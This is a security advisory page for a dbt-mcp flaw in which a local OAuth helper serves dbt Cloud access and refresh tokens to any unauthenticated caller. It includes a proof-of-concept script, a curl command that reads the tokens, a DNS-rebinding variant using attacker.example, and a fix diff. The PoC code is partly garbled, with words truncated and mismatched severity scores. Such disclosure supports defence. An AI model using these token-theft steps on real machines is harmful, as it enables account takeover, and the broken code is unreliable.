dbt-mcp CVE-2026-55837
MEDIUMSeverity by source
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
DNS rebinding requires AC:H timing conditions and UI:R victim browser interaction; stolen tokens yield full dbt Cloud read/write access (C:H/I:H) with no availability impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens
Summary
The local OAuth helper FastAPI server bundled with dbt-mcp exposes the GET /dbt_platform_context endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full DbtPlatformContext object - including the victim's access_token and refresh_token for the dbt Platform API - verbatim to any caller that can reach 127.0.0.1:6785. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. CVSS Base Score: 8.0 (High).
Details
During the OAuth login flow, dbt-mcp launches an embedded FastAPI server (the "OAuth helper") bound to 127.0.0.1 starting on port 6785 (configured at src/dbt_mcp/config/credentials.py:34, OAUTH_REDIRECT_STARTING_PORT = 6785). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.
Data flow from source to sink:
- Source -
src/dbt_mcp/oauth/fastapi_app.py:106: The OAuth callback receivestoken_responsefrom the dbt Platform authorization server. src/dbt_mcp/oauth/dbt_platform.py:60:AccessTokenResponse(**token_response)storesaccess_tokenandrefresh_tokenas plaintext fields.src/dbt_mcp/oauth/dbt_platform.py:64-69: TheAccessTokenResponseis embedded insideDecodedAccessToken, which is in turn embedded insideDbtPlatformContext.src/dbt_mcp/oauth/fastapi_app.py:114: The fully token-bearingDbtPlatformContextobject is passed tocontext_managerfor persistence.- Persistence sink -
src/dbt_mcp/oauth/context_manager.py:63-64:yaml.dump(context.model_dump())serializes the entire model - including tokens - to a YAML file on disk. - HTTP sink -
src/dbt_mcp/oauth/fastapi_app.py:162-165: TheGET /dbt_platform_contextroute reads the YAML file back and returns the rawDbtPlatformContextobject with no redaction.
# src/dbt_mcp/oauth/fastapi_app.py:162-165
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
logger.info("Selected project received")
return dbt_platform_context_manager.read_context() or DbtPlatformContext()# src/dbt_mcp/oauth/dbt_platform.py:8-14
class AccessTokenResponse(BaseModel):
access_token: str
refresh_token: str
...
class DbtPlatformContext(BaseModel):
decoded_access_token: DecodedAccessToken | None = None
...Missing protections (confirmed by grep):
- No
TrustedHostMiddleware- the server accepts requests with arbitraryHostheaders, enabling DNS rebinding. - No
CORSMiddleware- no cross-origin restrictions on which sites can read the response. - No CSRF protection, no session nonce, no
Originheader validation. - The route has no FastAPI
Depends()security dependency.
A grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin" across the OAuth FastAPI application returns no results.
Recommended remediation:
--- a/src/dbt_mcp/oauth/fastapi_app.py
+++ b/src/dbt_mcp/oauth/fastapi_app.py
+from starlette.middleware.trustedhost import TrustedHostMiddleware
+
+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:
+ if context is None:
+ return DbtPlatformContext()
+ return context.model_copy(update={"decoded_access_token": None})
app = FastAPI()
+ app.add_middleware(
+ TrustedHostMiddleware,
+ allowed_hosts=["localhost", "127.0.0.1"],
+ )
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
logger.info("Selected project received")
- return dbt_platform_context_manager.read_context() or DbtPlatformContext()
+ return _redact_context(dbt_platform_context_manager.read_context())PoC
Prerequisites:
dbt-mcpv1.19.1 installed in a Python 3.12 environment.- The following runtime dependencies available:
authlib~=1.6.7,fastapi~=0.128.0,uvicorn~=0.38.0,pyyaml~=6.0.2,httpx~=0.28.1,starlette~=0.50.0,pydantic~=2.0,pydantic-settings~=2.10.1. - No
DBT_TOKENset (OAuth flow mode active).
Step 1 - Build the Docker test environment:
docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .The Dockerfile installs only the OAuth helper's runtime dependencies and copies src/ and poc.py:
FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir \
"authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \
"pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \
"filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \
"pydantic~=2.0" "pydantic-settings~=2.10.1"
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]Step 2 - Run the PoC:
docker run --rm --network=host vuln001-dbt-mcpThe PoC script (poc.py) performs the following automatically:
- Writes a realistic fake OAuth context YAML to
/tmp/dbt_poc_mcp.yml, simulating a victim who has already completed the OAuth login flow. - Instantiates the real
create_app()fromsrc/dbt_mcp/oauth/fastapi_app.pyusingDbtPlatformContextManagerbacked by the pre-seeded file. - Starts the server on
127.0.0.1:16785in a background thread. - Issues an unauthenticated
GET /dbt_platform_contextwith noAuthorizationheader. - Asserts that
access_tokenandrefresh_tokenare returned verbatim.
Equivalent manual curl (against the live OAuth helper during actual OAuth flow):
# While the victim is running the OAuth login flow:
export DBT_HOST='cloud.getdbt.com'
unset DBT_TOKEN
dbt-mcp
# OAuth helper starts on 127.0.0.1:6785
# From any co-located process (or a DNS-rebinding browser page):
curl -s 'http://127.0.0.1:6785/dbt_platform_context' \
| jq '.decoded_access_token.access_token_response'Expected output (Phase 2 observed):
[*] HTTP Status: 200
[*] Full response JSON:
{
"decoded_access_token": {
"access_token_response": {
"access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER",
"refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123",
"expires_in": 3600,
"scope": "user_access offline_access",
"token_type": "Bearer",
"expires_at": 9999999999
},
...
},
...
}
[!] LEAKED access_token : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER
[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123
[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!DNS rebinding variant:
A malicious website can resolve attacker.example to 127.0.0.1 after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any Host header, the browser treats http://attacker.example:6785 as same-origin and fetches /dbt_platform_context via JavaScript fetch(), obtaining the full token JSON across the network without any local access.
Impact
Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The access_token grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The refresh_token (with offline_access scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.
This vulnerability is a Missing Authentication for Critical Function (CWE-306). Any developer machine running dbt-mcp with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because dbt-mcp is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
WORKDIR /app
# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed
# because fastapi_app.py's import chain doesn't touch them)
RUN pip install --no-cache-dir \
"authlib~=1.6.7" \
"fastapi~=0.128.0" \
"uvicorn~=0.38.0" \
"pyjwt~=2.12.0" \
"pyyaml~=6.0.2" \
"httpx~=0.28.1" \
"filelock~=3.20.3" \
"starlette~=0.50.0" \
"requests>=2.28" \
"pydantic~=2.0" \
"pydantic-settings~=2.10.1"
# Copy only the source tree needed for the OAuth server
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens
Attack scenario:
- dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
- After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
- GET /dbt_platform_con is accessible with NO authentication at all.
- Any process on the same host (or a DNS-rebinding browser page) can call it
and receive the full access_token + refresh_token.
This PoC:
1. Pre-seeds a con file with fake-but-realistic OAuth tokens
(simulating a victim who has already completed the OAuth flow).
2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.
3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).
4. Confirms the tokens are returned verbatim.
"""
import asyncio
import json
import os
import sys
import tempfile
import threading
import time
from pathlib import Path
import httpx
import uvicorn
import yaml
# Fake tokens that simulate a victim's completed OAuth session.
FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER"
FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"
FAKE_CONTEXT = {
"decoded_access_token": {
"access_token_response": {
"access_token": FAKE_ACCESS_TOKEN,
"refresh_token": FAKE_REFRESH_TOKEN,
"expires_in": 3600,
"scope": "user_access offline_access",
"token_type": "Bearer",
"expires_at": 9999999999,
},
"decoded_claims": {
"sub": "99999",
"iat": 1700000000,
"exp": 9999999999,
},
},
"host_prefix": "victimco",
"dbt_host": "cloud.getdbt.com",
"account_id": 42,
"selected_project_ids": None,
"dev_environment": None,
"prod_environment": None,
}
PORT = 16785
def start_server(context_file: Path, static_dir: str) -> None:
"""Run the actual vulnerable FastAPI app in a background thread."""
from authlib.integrations.requests_client import OAuth2Session
from dbt_mcp.oauth.context_manager import DbtPlatformContextManager
from dbt_mcp.oauth.fastapi_app import create_app
context_manager = DbtPlatformContextManager(context_file)
# A dummy OAuth client - only used by the /oauth-callback route,
# which this PoC never triggers.
fake_oauth_client = OAuth2Session(client_id="poc-dummy-client")
app = create_app(
oauth_client=fake_oauth_client,
state_to_verifier={},
dbt_platform_url="https://cloud.getdbt.com",
static_dir=static_dir,
dbt_platform_context_manager=context_manager,
)
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
config = uvicorn.Config(
app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio"
)
server = uvicorn.Server(config)
loop.run_until_complete(server.serve())
def wait_for_server(port: int, timeout: float = 15.0) -> bool:
import socket
deadline = time.time() + timeout
while time.time() < deadline:
try:
with socket.create_connection(("127.0.0.1", port), timeout=1):
return True
except OSError:
time.sleep(0.2)
return False
def main() -> int:
print("[*] VULN-001 PoC - Unauthenticated /dbt_platform_con token leak")
print("=" * 70)
# 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)
context_file = Path("/tmp/dbt_poc_mcp.yml")
context_file.write_(
yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8"
)
print(f"[*] Con file written: {context_file}")
print(f" access_token : {FAKE_ACCESS_TOKEN}")
print(f" refresh_token : {FAKE_REFRESH_TOKEN}")
# 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup
static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_")
(Path(static_dir) / "index.html").write_("<html>dbt OAuth</html>")
# 3. Start the real vulnerable FastAPI server in a background thread
t = threading.Thread(
target=start_server, args=(context_file, static_dir), daemon=True
)
t.start()
print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...")
if not wait_for_server(PORT):
print("[-] FAIL: Server did not start within timeout.")
return 2
print("[*] Server is up.")
# 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)
url = f"http://127.0.0.1:{PORT}/dbt_platform_con"
print(f"\n[*] Sending unauthenticated GET {url}")
try:
resp = httpx.get(url, timeout=10)
except Exception as exc:
print(f"[-] HTTP request failed: {exc}")
return 2
print(f"[*] HTTP Status: {resp.status_code}")
if resp.status_code != 200:
print(f"[-] FAIL: Expected 200, got {resp.status_code}")
print(f" Body: {resp.[:500]}")
return 1
try:
data = resp.json()
except Exception as exc:
print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}")
return 1
print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}")
# 5. Verify that the tokens are in the response (no redaction, no auth required)
try:
leaked_access = (
data["decoded_access_token"]["access_token_response"]["access_token"]
)
leaked_refresh = (
data["decoded_access_token"]["access_token_response"]["refresh_token"]
)
except (KeyError, TypeError) as exc:
print(f"\n[-] FAIL: Token fields missing from response: {exc}")
return 1
print(f"\n[!] LEAKED access_token : {leaked_access}")
print(f"[!] LEAKED refresh_token : {leaked_refresh}")
if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:
print(
"\n[+] VULNERABILITY CONFIRMED:"
" Tokens returned from /dbt_platform_con WITHOUT authentication!"
)
return 0
else:
print("\n[-] FAIL: Returned tokens do not match expected values.")
print(f" Expected access_token : {FAKE_ACCESS_TOKEN}")
print(f" Got access_token : {leaked_access}")
return 1
if __name__ == "__main__":
sys.exit(main())AnalysisAI
Token exfiltration in dbt-mcp's embedded OAuth helper server (versions before 1.20.0) allows any co-located process or DNS-rebinding attacker to retrieve a victim's full dbt Cloud access and refresh tokens via a single unauthenticated HTTP GET request. Developers running dbt-mcp in OAuth mode on any shared or browser-accessible host are affected for the entire lifetime of the OAuth helper process following a completed login flow. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the victim has run dbt-mcp in OAuth authentication mode - specifically, with the DBT_TOKEN environment variable NOT set, which activates the embedded FastAPI OAuth helper server - and has completed at least one OAuth login flow against dbt Cloud (cloud.getdbt.com), leaving the helper process running on 127.0.0.1:6785. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 3.1 score of 6.8 with vector AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N models the DNS rebinding network attack path, where AC:H reflects the multi-step timing requirements of DNS cache expiry and UI:R reflects the prerequisite that a victim browser must navigate to an attacker-controlled domain. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A developer on a shared build server runs dbt-mcp in OAuth mode and completes the dbt Cloud login flow; the OAuth helper remains listening on 127.0.0.1:6785 with tokens persisted to a YAML file on disk. A co-worker or malicious background process issues curl -s 'http://127.0.0.1:6785/dbt_platform_context' and receives the victim's full access_token and refresh_token in a single unauthenticated HTTP 200 response, with no authentication prompt and no log alert visible to the victim. … |
| Remediation | Vendor-released patch: dbt-mcp 1.20.0, confirmed by package metadata in the GitHub advisory (GHSA-jr33-mw75-7j8f). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-200 – Information Exposure
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-jr33-mw75-7j8f